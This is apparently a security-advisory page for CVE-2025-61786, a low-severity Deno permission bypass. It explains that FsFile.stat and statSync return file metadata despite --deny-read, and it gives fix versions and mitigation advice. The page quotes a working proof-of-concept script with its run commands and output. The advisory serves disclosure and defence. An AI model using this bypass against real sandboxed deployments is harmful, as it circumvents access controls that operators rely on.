CVE-2025-61786 is a low-severity (CVSS 3.3) Improper Privilege Management vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.
Deno's --deny-read check does not prevent permission bypass
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-61786.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-61786 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.5.3cargo update -p deno --precise 2.5.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-61786 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-61786 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-61786. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-61786 in your dependencies?
O3 Security finds CVE-2025-61786 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.